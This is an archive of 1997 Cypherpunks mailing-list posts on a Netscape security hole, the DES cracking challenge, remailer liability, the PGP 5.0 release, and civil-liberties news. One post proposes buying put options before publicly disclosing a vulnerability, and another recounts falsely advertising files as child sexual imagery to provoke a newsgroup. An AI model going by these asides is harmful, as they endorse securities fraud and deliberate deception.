> quotes, I have to quit one of my other Internet apps.
> 
> The dancing Java ads are not worth it.
> 
> --Tim May

There is a windows console version of Lynx now.  You won't see the dancing
java ads, but will see your quotes.  If you want fancy tables, I have an
awk script which renders them.  A few more stupid AWK tricks (cygnus.com
has most GNU stuff ported), and you can type "getquote msft"  and have the
info without the ads appear.  And if "lynx -source" is too big, I have a
tiny URL to stdout program (which supports user/pass and SSL!).  It is
running now in a timed script that displays the quotes I want to a
virtual console.

Become an iconoclast, and crawl into a shell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 00:23:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <v03102803afc9c0a4fffd@[207.167.93.63]>
Message-ID: <199706161604.LAA19766@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803afc9c0a4fffd@[207.167.93.63]>, on 06/15/97 
   at 08:57 AM, Tim May <tcmay@got.net> said:

>At 1:15 AM -0700 6/15/97, Tom Weinstein wrote:
>>Ross Wright wrote:
>>>
>>> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
>>>
>>> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
>>>
>>> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
>>> use 2.02.  You guys are gonna help us who refuse to upgrade, right.
>>
>>Sorry, but we don't have any plans to respin 2.x at this time.  If we
>>get enough requests for it, it might be possible to change our mind,
>>though.

>I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
>memory footprint went up dramatically (Macintosh version at least), so
>that I can no longer have all my favorite apps open. If I want to check
>stock quotes, I have to quit one of my other Internet apps.

>The dancing Java ads are not worth it.

Has Lynx been ported to the Mac? You might want to just write your own. If
your not intrested in all the N$ crap (frames, animated Gifs, cookies,
...) it is really quite easy code to write a few socket calls and parsing
of some text. I wrote one over a weekend that handles 99% of my web
browsing needs.

I haven't looked at the Macs in a long time, when I did the hardware was
not up to handling the GUI, does the current OS support a "text mode" or
must everything be GUI?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Vkso9Co1n+aLhhAQFOMgP8DP7e/hIUJWZg9rG6LN+9AQ9cEx5fdCvj
gfi87SJy7Xy5opdznWtjgz4hFnxQg29sObe+avFu9LOOQZpStJ4dC5YeGeamk5z5
YlVba8L30Hmky54O8eRdbutFJqxZgQa9+1BzOxnyHHVORM3X7IWr1QTi9+TTAp+s
WezhXZShmCE=
=xh6R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 00:45:34 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
Message-ID: <199706161623.LAA20012@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970614201321.009a8b38@pop.pipeline.com>, on 06/14/97 
   at 04:13 PM, John Young <jya@pipeline.com> said:

>Secret Squirrel wrote:
>>According to a usually reliable contact in a position to know, IBM Friday
>>filed a liable suit against the 11 authors of the study
>>titled "The risks of key recovery, key escrow and trusted third-party
>>encryption" plus their employers and the Centere for Democracy and
>>Technology, which sponsored the report.  According to my contact, IBM
>>feels that the report directly targets their own key recovery system,
>>and falsely implies that it isn't reliable.  They are asking for
>>unspecified damages.


>If this report is true it's worth taking a look at IBM's policy paper
>"The need for a global cryptographic policy framework" to  understand why
>the key study report is such a threat to
>Blue's global market strategy:

>   http://www.ibm.com/security/html/pp_global.html

>IBM's economic incentive to attack the report is substantial, not least
>because it hopes to garner the lion's share of global GAK --
>not that that's news.


Has there been any conformation on this?

I would like to get in touch with some of my contacts at IBM but would
like to have some info on this first.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6VncI9Co1n+aLhhAQE7VQQAuDOBM3aqTCbaK/5nPLl1TLaAkHWSIC4h
/eOJFw7/EJ1ZQWGj5lxHg2es6+MFSrue5/KnOn0evsJtLnQjX4icYyhzhao2cXYY
9EPaew0FMLHRtJrB0sXlWOeyteRqFstVEkQb7jtqUqxbjNU1A/FZlbr7dclRZ56B
nVTBAqZBOzA=
=tD2h
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 17 Jun 1997 01:13:08 +0800
To: declan@well.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
Message-ID: <Pine.LNX.3.91.970616112023.236B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I mean, geez, if nothing else, look at what I've been writing. Last
> Thursday I wrote about how the Federal government should get out of the
> business of "protecting privacy." On Friday I wrote about how "protecting
> children" from animated cartoon images is another pretext for
> Net-censorship. Who else is saying that?

I must side with Declan here, true, sometimes Declans articles show a 
subtle hint of insiderism <tm>, but I believe that is an inevitable 
consequence of working around people in D.C. who don`t want to be 
directly associated with certain statements, to quote them against their 
will would be journalistic suicide and would soon see Declan with no 
contacts whatsoever. 

Also, although his articles are often written to be readable by the 
uninformed rather than security experts or cryptographers they often 
raise important points. Remember, although through Declan and John Young 
we have a lot of current news posts coming on to the list the average AOL 
account owning newbie won`t know about these things and reading some of 
Declans articles might just get them thinking.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 17 Jun 1997 00:18:34 +0800
To: cypherpunks@toad.com
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
Message-ID: <199706161546.IAA05715@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Vincent Cate <vince@offshore.com.ai>
> To:            cypherpunks@toad.com
> Subject:       Anguilla surpasses US military in code breaking challenge.

Vince writes:

> Press Release
> Anguilla, June 16, 1997
> 
>     Anguilla surpasses US military in code breaking challenge.
> 
> The Caribbean country of Anguilla has searched through more than
> 2,380,000,000,000 code keys as part of the Deschall effort to break a DES
> encrypted message.  This is in response to a challenge by RSA Inc to show
> that DES 56 bit keys are not large enough given the rapid advances in
> computing technology.  As of June 16th, the entire US military effort,
> represented by Internet machine names ending in ".mil" in the Deschall
> statistics pages, has searched fewer keys.  Anguilla host names end in
> ".com.ai".  Anguilla is a free and democratic country, that does not limit
> key lengths. 


NOT a press release, but true.

  Framingham,MA , June 16, 1997
  
      Process Software surpasses Anguilla in code breaking challenge.
  
  The small software firm of Process Software has searched through more 
  than 25,600,000,000,000 code keys as part of an independent effort to 
  break a DES encrypted message.  This is in response to a challenge by RSA
  Inc to show that DES 56 bit keys are not large enough given the
  rapid advances in computing technology.  As of June 16th, the entire
  US military effort, represented by Internet machine names ending in
  ".mil" in the Deschall statistics pages, has searched fewer keys. 
  Anguilla host names end in ".com.ai".  

This represents 5965 2^32 key segments, or 0.035% of the total 
keyspace. We've got a long way to go.

It's worth noting that the DESChall people claim to have now
searched over 23% of the keyspace, and at the current rate will 
have searched the whole thing about 3 months from now.

They have not released their source code for independent 
evaluation. I for one would feel a lot more comfortable with
DESChall if there was at least some outside review, even if
no general release is made.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 17 Jun 1997 00:22:26 +0800
To: cypherpunks@toad.com
Subject: DREI 97: Cryptography and Network Security
Message-ID: <1.5.4.32.19970616155214.008adc3c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



http://dimacs.rutgers.edu/drei/1997/schedule/DREI97_ad_Research.htm

    DIMACS Research & Education Institute 
    DREI 97 Cryptography and Network Security 
    July 28 - August 15, 1997 
    Rutgers University, NJ

    Speakers and papers (abstracts available at the site):

    Martin Abadi, Digital Systems Research Center, DEC "Strengthening Passwords"

    Ross Anderson, Cambridge University, "Medical Records Security" and
    "Steganography"

    Alex Biryukov, Technion "Cryptanalysis of the Portz Interconnection-Network
    Block-Cipher" and "Cryptanalysis of RC5"

    Daniel Bleichenbacher, Bell Labs "Comparing RSA and RSA-Type
Cryptosystems Over
    Elliptic Curves"

    Gilles Brassard, University of Montreal "The Impact of Quantum Mechanics on
    Cryptology"

    Ran Canetti, IBM "Towards Realizing Random Oracles: Hash Functions That
Hide All
    Partial Information" and "On the Adaptive Security of Multiparty Protocols"
   
    Benny Chor, Technion "Private Information Retrieval"

    Claude Crepeau, Universite de Montreal "Cryptographic Power of Noisy
Channel"
  
    Cynthia Dwork, IBM "Positive Applications to Lattices of Cryptography"
   
    Carl Ellison, Cybercash, Working Cryptanalysis of the German Enigma" and
    Key Management in the Post-Identity Era"

    Yair Frankel, Sandia "New Techniques for Sharing Cryptographic Functions"
  
    Matthew Franklin, AT&T Labs - Research, "Ecash and the Power of Positive
    Paranoia"

    Rosario Gennaro, IBM "How to Sign Digital Streams"

    Stuart Haber, Surety Technologies, "Ensuring the Integrity of Records On
Line: How to
    Time-Stamp a Digital Document"

    Jack Lacey, AT&T Labs - Research, "Music on the Internet and the
Intellectual
    Property Protection Problem"

    Susan Landau, University of Massachusetts at Amherst "Cryptology,
Technology and
    Policy"

    David P. Maher, AT&T Labs - Research "Security Models for Partially
Accounted
    E-Cash Systems"

    Dalia Malkhi, AT&T Labs - Research "Auditable Metering with Lightweight
Security"
   
    Moni Naor, The Weizmann Institute "A Formal Teatment of Remotely Keyed
    Encryption"

    Hilaire Orman, DARPA "The Imperfection of Secrecy in Real Network Protocols"

    Pino Persiano, University of Salerno "A Transparent Distributed
Cryptographic
    Filesystem" and "Randomness-Efficient Non-Interactive Zero-Knowledge Proofs"

    Marcus Ranum, Network Flight Recorder, Inc., "Hacking and Networked
Terrorism"
    and "Problems with the Firewall Concept"

    Mike Reiter, AT&T Labs - Research "Toward Acceptable Metrics of
Authentication"
  
    Fred Schneider, Cornell University "Mobile Code Security Issues"
  
    Rich Schroeppel, University of Arizona "Fast Arithmetic in GF[2^156]"

    Adi Shamir, The Weizmann Institute "A New Paradigm for Massively
Parallel Random
    Search" and "Cryptanalytic Fault Attacks"

    Martin Strauss, AT&T Labs - Research "Proxy Cryptography" and "A Formal
Teatment
    of Transactional Trust Management"

    Edlyn Teske, University of Manitoba "Space Efficient Group Structure
Computation
    Using Pollard's $\rho$-Method"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 04:16:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v03102801afcb4562bcde@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 PM -0700 6/16/97, Declan McCullagh wrote:

>What I found interesting about Tim's comments above is how he neglects to
>mention libertarians. Certainly he realizes my "ideological bearings" are
>much closer to libertarianism than conservatism or modern liberalism.

Now this is _really_ reading too much into things. As with several of your
"in the paragraphs Tim chose to elide" sorts of comments, you are imputing
motives that aren't there.

I mentioned Republicans and Democrats--and not Black Panthers,
Libertarians, Maoists, and Galambosians, for example--becuase these two
factions account for 99% of those in D.C., reporters included.

As to why I "elide" paragraphs, I do it as I always do it, to save space
and to adhere to the "never quote more than a half page of text" rule of
thumb.

(Something I wish more writers would do. When I see a screenful of quoted
material, I'll usually at least scroll down to the next page: if more stuff
is quoted, I'm often likely to just hit the "D" key.)

I never set out to elide material so as to misrepresent people. Granted,
there are some who think their point is automatically subtracted from if
every golden word is not quoted, but, like I said, I try to begin my
response to a post before a screenfull has been quoted, with the quoted
material only serving as a reminder to the reader of what the other person
had already said.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 04:26:27 +0800
To: cypherpunks@toad.com
Subject: Re: Homer on Terrorism
In-Reply-To: <33A49D42.49741BF5@netscape.com>
Message-ID: <3.0.2.32.19970616124507.0075f0d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> "We don't negotiate with terrorists"

>>"Terrorism" probably doesn't apply, since his aim was not political.
>>.... I think blackmail is a more appropriate term.

On the other hand, as Agatha Christie occasionally points out,
the _only_ safe thing to do with blackmailers is kill them...

:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 04:46:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
Message-ID: <v03102804afcb4cc879c4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 AM -0700 6/16/97, Bill Stewart wrote:
>At 08:59 PM 6/13/97 -0700, you wrote:
>>This is why we need more remailers, and why it's good that you posted
>>anonymously. The proper thing to do is to be "shocked, shocked!" that
>>anything illegal is happening on your server,
>	... your ecash, sir ....
>>immediately shut it down (counting on the network to be self-healing
>>with the help of an enhanced remailer list), and offer to cooperate fully.
>>Unfortunately, you don't keep logs, so you wouldn't really be able to help
>> (damn!).
>
>Shutting it down would be bad - that gives them an easy denial of service
>attack (though better to have them use that attack than child porn....)

Another strategy, besides the "I'm shocked, simply shocked, and I'll shut
it down immediately, sir!" cave-in, is to say this:

"I operate an electronic mail service. I abide by the terms of the
Electronic Communications Privacy Act,  the ECPA, and I do not inspect or
monitor the contents of the mail flowing in my system. To do so would be a
violation of the ECPA. And besides the ECPA, such inspection would be a
violation of the property rights of my users.

"I take a hands off approach to uses of my mail  service, as the ECPA
expects me to do, and what customers are sending is none of my concern.

"If you have a problem with something sent by one of my customers, or wish
to question him or her about the contents of their mail, I suggest you
obtain proper court orders and contact him or her directly.

"Whether you can identify him or her is your problem, not mine."


--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 04:51:05 +0800
To: cypherpunks@Algebra.COM
Subject: Avoid loud warnings--it only attracts disruptors
In-Reply-To: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
Message-ID: <v03102805afcb4eabeb59@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 AM -0700 6/16/97, Bill Stewart wrote:

>Put a warning on the front page that it's NOT to be used for
>illegal purposes etc., phrased seriously, complaining that you'll
>have to shut it down if people keep abusing it...

The problem here is that this just makes shutting down the remailera more
attractive target for malicious persons, pranksters, and other such folks.
Like waving a red flag in front of a bullshitter.

I suspect some of the remailers which have been shut down were hit by folks
just trying to see if they could do it.

Such loud warnings are unneeded by ordinary members of a community, and
will be ignored or even deliberately tested or flouted by certain others.
As with Sandy's imposition of his notions of "civility" and "comaraderie,"
the predictable effect was testing of the limits.


(I admit to having a perverse side, too. No suprise to many of you. Several
years ago I posted some binaries to the brand-new newsgroup,
"alt.binaries.pictures.erotica.children". I claimed they were some hot
lolitas, though in fact they were misc. PGP noise, with hidden text
messages running down some of the diagonals, to get me off the hook if some
DA claimed they were real pictures and demanded the decryption key. I
wanted to shake things up. Got a lot of outraged responses, too.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 17 Jun 1997 05:06:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Avoid loud warnings--it only attracts disruptors
In-Reply-To: <v03102805afcb4eabeb59@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970616134158.4171C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, Tim May wrote:

> (I admit to having a perverse side, too. No suprise to many of you. Several
> years ago I posted some binaries to the brand-new newsgroup,
> "alt.binaries.pictures.erotica.children". I claimed they were some hot
> lolitas, though in fact they were misc. PGP noise, with hidden text
> messages running down some of the diagonals, to get me off the hook if some
> DA claimed they were real pictures and demanded the decryption key. I
> wanted to shake things up. Got a lot of outraged responses, too.)

Were they outraged that it was not kiddy porn or outraged that they could
not get to it or outraged because you claimed it was kiddy porn?  (I tend
to direct people to
http://www.thecorporation.com/oneoffs/96/kittyporn/index.html for that
sort of stuff...)  

Makes you wonder what they were doing reading that group in the first
place...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 17 Jun 1997 05:21:33 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102801afcb57acf1ef@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>If he had said:
>  "I'm going to go to the press on this date.  You can buy the
>   information from me before that for X amount of money."
>
>That would be an ordinary business transaction.  Instead, what he said
>was something like:
>  "Pay me lots of money or I will go to the press in such a way as to
>   damage you the most."
>
>That is blackmail.  It's clear that the money is to prevent the damage,
>not just for the information.

I agree.  It seems a bit like blackmail to me.  These 'consultants' would
have better off having friends buy put options on Netscape stock prior to
the phone call.  Then if Netscape won't pay their price they get the money
from the market when they make the information public, including the source
code.  Spare me the insider trading rants.

--Ste5e


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeffrey I. Schiller" <jis@mit.edu>
Date: Tue, 17 Jun 1997 02:44:10 +0800
To: cypherpunks@toad.com
Subject: [ANNOUNCE] PGP 5.0 Freeware is available from MIT
Message-ID: <199706161755.NAA01250@road-warrior-177.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

To: The PGP Community
From: Jeffrey I. Schiller <jis@mit.edu>
Subject: PGP 5.0 Freeware is available from MIT

I am pleased to announce the availability of PGP 5.0 Freeware from the
MIT Web Site. PGP 5.0 Freeware is available for non-commercial use under
license from MIT, PGP Inc. It uses the RSAREF toolkit licensed from RSA
Data Security.

This new version is a long awaited major upgrade and improvement to PGP
2.6.2. It has a native Windows '95, Windows NT and Macintosh interface.
It supports additional ciphers, as well as new key types and message
formats. Internally it is much improved as well.

This release marks a major transition to a new public key infrastructure
based on the Diffie-Hellman (DH) public key algorithm for privacy and
the Digital Signature Standard (DSS) for digital signatures. The RSA
algorithm is still supported and this version will work with the old RSA
keys you may already have. However all new keys generated by this
version will be DH/DSS keys. Many of the internal performance
improvements are only available when used exclusively with DH/DSS keys
(this is because using RSA keys requires PGP 5.0 to be backward
compatible with PGP 2.6.2 which requires PGP 5.0 to use less efficient
message formats).

This version also includes automated keyserver support. It can
automatically fetch PGP keys from the MIT keyserver (and other
keyservers) as well as offer to upload any newly created keys.

It also comes with plug-ins for Eudora and other major mail utilities.

At the moment it is only available for Windows '95, NT and MacOS. A Unix
(Linux) version is in the works but isn't ready yet, but we hope to have
it ready within a week or two.

Source code for this version was distributed at last weekend's
cypherpunks meeting in hard copy form. Source will eventually be made
available electronically, but isn't ready yet.

You can find the Freeware PGP at either the PGP Home Page at:

  http://web.mit.edu/network/pgp.html

or directly at:

  http://web.mit.edu/network/pgp-form.html

Note: We anticipate a significant amount of traffic while people
throughout the U.S. and Canada download PGP. Please be patient with the
server (and with us)!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6V9psUtR20Nv5BtAQE9IgP+OuB+wHml5C47s3YJjfbNq+3FWmql+DrG
AE5Dag8aahKGf73SYHByhCZXowCzE0g8QeAx9VYpXy9CHp5GiSE8Iks1/U0AKz1h
cxcQ2Etp7x2js9GAfP8ueD01RlIguQsh2hIP0cU9ymy8Fn1b7OscWk9hhmDjgBpv
O36Lt5gPBwM=
=+zQC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Tue, 17 Jun 1997 05:27:57 +0800
To: "Jeffrey I. Schiller" <jis@mit.edu>
Subject: Re: [ANNOUNCE] PGP 5.0 Freeware is available from MIT
In-Reply-To: <199706161755.NAA01250@road-warrior-177.mit.edu>
Message-ID: <m2u3iytge9.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain



"Jeffrey I. Schiller" <jis@mit.edu> writes:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> To: The PGP Community
> From: Jeffrey I. Schiller <jis@mit.edu>
> Subject: PGP 5.0 Freeware is available from MIT
> 
> I am pleased to announce the availability of PGP 5.0 Freeware from the
> MIT Web Site. [...]

Yuck! I got a "bad signature" warning when checking the signature. The sha1
hash of what I downloaded is

4da86001a5bcdf5a03e5adcda5e6d8fe76a11920  pgpinstall.exe

What is the sha1 hash of what you put up?

Leonard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 17 Jun 1997 05:32:36 +0800
To: cypherpunks@toad.com
Subject: ACLU/EPIC: First Amendment Pledge Campaign
Message-ID: <Pine.GSO.3.95.970616140435.25992G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 16 Jun 1997 14:04:22 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: ACLU/EPIC: First Amendment Pledge Campaign



---------- Forwarded message ----------
Date: Mon, 16 Jun 1997 16:50:00 -0400
From: Dave Banisar <banisar@epic.org>
To: press <info@epic.org>
Subject: Press Release: First Amendment Pledge Campaign


                          JOINT PRESS RELEASE:
                     American Civil Liberties Union
                Electronic Privacy Information Center

               ACLU, EPIC Call on Congress and Clinton to
                   "Take the First Amendment Pledge"


FOR IMMEDIATE RELEASE
Monday, June 16, 1997

Contact:

Emily Whitfield, ACLU Nat'l Office
(212) 549-2566
emilyaclu@aol.com

David Sobel, EPIC
(202) 544-9240
sobel@epic.org

NEW YORK -- As the nation awaits a Supreme Court decision on the
future of free speech on the Internet, the American Civil Liberties
Union and the Electronic Privacy Information Center today launched
www.firstamendment.org, a website dedicated to upholding the First
Amendment in cyberspace.

The groups called on President Clinton and members of Congress to be
among the first to "Take the First Amendment Pledge" and cease any
further attempts to draft legislation to censor the Internet in the
event the Supreme Court upholds a lower court decision striking down
government regulation of the Internet as unconstitutional.

"In our view there is no such thing as a 'Constitution-proof' law
criminalizing so-called indecency in cyberspace," said Chris Hansen,
ACLU Senior Staff Attorney and lead counsel in Reno v. ACLU.

The launch of the website comes as Clinton Administration officials
have begun publicly discussing a shift in policy on Internet
regulation, saying that "industry self-regulation" -- not laws
criminalizing certain Internet communications -- is the solution to
shielding minors from online "indecency."

Hansen added that if the Administration had indeed adopted such a
policy, it is obligated to announce it to the Court before they rule
in the case. "If the report in this morning's New York Times is
indeed true, it would appear that the Clinton Administration is
preparing to take the 'Pledge,'" Hansen said.

Reno v. ACLU challenges censorship provisions of the Communications
Decency Act aimed at protecting minors by criminalizing so-called
"indecency" on the Internet. The ACLU, along with EPIC and 18 other
plaintiffs, filed a challenge to the law the day it was enacted. A
ruling on the case could come as soon as Thursday, June 19, the next
scheduled day for release of Supreme Court decisions.

"Attempts to censor the Net will not end with the Supreme Court
decision ," said David Sobel, legal counsel for EPIC and co- counsel
in Reno v. ACLU. "Proponents of Internet content regulation have
already indicated their desire to take a 'second bite of the apple'
if the Communications Decency Act is struck down."

In anticipation of such new attempts at online censorship, visitors
to www.firstamendment.org are invited to "Take the First Amendment
Pledge," which reads: "I pledge to support free speech and free
expression for all Americans and to urge Congress to uphold the
First Amendment to the United States Constitution and pass no law
abridging our freedom of speech."

Online users can capture the "First Amendment Pledge" GIF (graphic
image file) for placement on their own website. Other features
planned for the site include an "action alert" that informs users of
legislative threats to the First Amendment and allows them to
instantly e-mail or fax their member of Congress, and an online
"postcard" that can be e-mailed to friends, relatives and elected
officials, urging them to "Take the Pledge."

The ACLU is a nationwide, non-partisan organization dedicated to
defending and preserving the Bill of Rights for all individuals
through litigation, legislation and public education. The ACLU can
be found online at www.aclu.org and through America Online at
keyword: ACLU.

EPIC is a non-profit, education and research organization based in
Washington, D.C. EPIC examines civil liberties and privacy issues
that arise in new electronic media. It maintains a website at
www.epic.org.


..









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 17 Jun 1997 07:00:12 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
Message-ID: <v03102802afcb5aa7a4fe@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>While having more options generally increases people's well being, we
>have to expect a substantial amount of people whose investments will be
>lost in various perturbations that lie ahead.
>
>We may expect to the government to be under strong pressure to feed these
>old folks.
>
>What bothers me most is what would happen if the market went bust again
>as badly as it did in 1929-1934. I believe that it is by far not
>impossible. Then we'd get stuck in a market downturn, with millions of
>retured people with few means to support themselves, and the government
>unable to collect enough money to feed them (which is unconstitutional
>anyway).

What's the difference?  The SSA fund just has IOUs in it now and is being
funded from current revenue.  For those who do well in the market, don't
give them any SSA.  For those who invest poorly, use general revenue to
keep them off the street.  If the market collapses and most lose their
shirts how is this any different than the comming debacle.

- --Ste5e


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
- ---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
- ---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6W/MjvMjmxVx4sNAQFszgP9HCBDId4AwdAzsjaL3+0IY85mRMmiLpiJ
FP7KHvS+o0EO8NNzjb6Fv0z/8F7eEzqziUwCb6e8SgKssblMxv9zNAC+YLzeut+h
/wm/f5mqC2zF942T9hsAP70IHokld7BhIPQL0YSLv+ywEG47rZh98oF9pwholXxK
MaO+HHTUrm4=
=pP/v
-----END PGP SIGNATURE-----





